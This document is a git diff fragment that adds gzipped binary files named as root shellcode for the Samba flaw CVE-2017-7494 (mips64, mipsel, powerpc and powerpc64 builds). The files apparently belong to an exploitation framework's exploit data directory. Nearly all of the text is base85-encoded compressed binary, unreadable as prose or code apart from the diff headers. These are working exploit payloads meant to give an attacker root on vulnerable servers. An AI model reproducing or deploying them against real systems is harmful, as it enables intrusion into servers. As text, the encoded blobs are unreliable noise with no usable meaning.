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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-mips64.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-mips64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..726fe9a768832e915213f596f5e1ef670e1c5a01 GIT binary patch literal 2846 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 CmeLad literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-mipsel.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-mipsel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..cb82b6467f0f07300688b63382d278cc6e587848 GIT binary patch literal 2800 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 Cc#8P| literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..56b797f6a36613e33a1af98f8bda50cc27d0ecdb GIT binary patch literal 3134 zcmd6oS3?qt0)Wq{?&;iimRXKysgIt6x;&`1_>EC0ZCC%6uI~Ofct*G$M5lb`2gv^|9(Jp#beK2s2|whPdyR>iBg9? z3tZdUdno3s6N;^}DJd#4GW^I{U`uS<;CROQ$5yXsG4S4f#p@38bfm zQ_`ZW3#i2z6M5dg&}CIDvw}9ULmp>;{z?iE?|9Z>rf%ZF8ifYJ)4q?Mi2VNSt%+KfmW{=G@Pg=Np zgqZ&KN5|m59bK=MoGI(DjRqWck5DOin`p^Ufz+&j z08aPq#_BAXxn=t)->3a}Dux;m{v_tvj*?4O8okN=i)oAMxx67&r$$_2ZMDw44w!VMstm(Kx4)`_zjryenLUffg$uMXNco8k!xkkW zo!)H_p;swv`|49l=Ra=qXry$k=E7Ap9-m(3-S`A6yWMELgLU2FsW4B$i<$#Ju;$-{ z$xHMOYC@iY(re*G0o6i=A~f^AI%EqhJT7G1a>KFaH#s|hjCk=I0Ugy*@KRTkjTG}t ziqCs`qsjYaQ~YB2RJ)CMx!EM){bm7mZtm{;VL43n2^XWL)b(YXlVa0s-aU|MIXU(| z;>pB3R^?l@gLb^dW&m_&@c2H(ueCpYJ*oCRgQ5}qCz;DnxKPm}eVYALFGukq8A-mna3ch--R zV}#2ipD7F5@LJ->B!#9Q_aJY8(9&DwioRJU07i3fLf)`g6laZzn$PY2oEYNlt45)A z#rfW>3yy}1jfrScHL=Be=X3_tz=qabTlcQX$Hvw@8*P*68h?P;Fn|ANb_$ zrZi&Hg~`;fHM?~`HR-(M%dRLJ7iQvC;u3Y5WtD$$K7S3A$Oa`2`QuX)H^w%25I;nE z5@JqME0?4eXB=1k+Y(|?oteA7p}V7@?|5~U2tKkRhscB@D5=yqDO_+i>`kcDxfOk( zWbAp*>K&?J=}XpGMKG#5eW5H2bd_V`Tc(+}WE~`q{E~2TLW=oH$m$*O-8T00+K`6|?@A|4Y6}vt&+S zrPewccxdRkO5$^lf!RiRF}3^d3drBvrc{dJ$WOHqsuv0m4$aHV%UqZdT->Dt2?molhEMCBmspjsT0E6Qd)m)jTXQK~@v|*_>}$ zy-DoK1^Z=hjW~^qz_hN)WfLt@h9?QSbooqmFWny) z+5K+VG_vOhoL)aC8(Aw`bPZ;r7D7T&2r#?~hUS)J#XsP^b9Y*D+W*YM|}iIxE1d6px;&zF7P! zdor+H9o}A;A#ybVv<_0ha8D!?J5SRwkQ!m{8dv2teK9^!1Ng=mRTyOjDsd4{H)8+H zryw%e3P-yUR1%=D9YDI4E^SWmGTgIU5+JF13a=kDL52!lV$8i|SoM*%9N1p5M)l1- zVq#}`#T}DgHf684L287dLLRj*l&#@w!82PJcn6cjDvTj*RBc6G8f7i<0YeNEaWGNw z;CjfM2$w54pG4VREQ@ zz%$)eBv)B*)^4#-Yo;H6cy(vJKlYBoj);=5x|COw<6#VlbyYPLI3zwH5A|dO2|Wq6Rxx0~%b( z0=|Bt7~>H!TE}b2t%*&%QI=^P)%n=XT)QbOFlW`v)!gZyk*+LGPmgyr4Y;4l9C}Eg z^{s4Qie9~~ZS>$wbwJ9wjCUyHM)<#e)&6|i!XWhGLZL^#n@+CY=adDT0EiZt-nVyZ zVn^+L^CR=$xPkHLF~)d)W8}*Y)*1vgNWE{o|C(Oz{e849%%H(<`%7wYXOiOzbaR$U z!%9)z$Gqe@D_^DvjcsA`+_J&J^|kuB0Cn zp==>q+Q{cWVvTuqR+>j5)214%5veyYS`L^ zF}78KBKA`yv|GEt?qeMK(DdVQra=R)OCm`ER@IycImk~~wd%A(rm??VL3|%vF82By zBuL9CY8Y1y!8D-JN2hh6>EPEot~D^rA;21ZK$kCScl3dm@AScxd7cAPYW?k8Uu9p+AM{eDFGA>b{>yTT%A`(H2AK?zg>iqi4e*h1NXXpR` literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-powerpc64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..c7b8f2b88a19d908012f4f55e1ad53600f196f65 GIT binary patch literal 3306 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 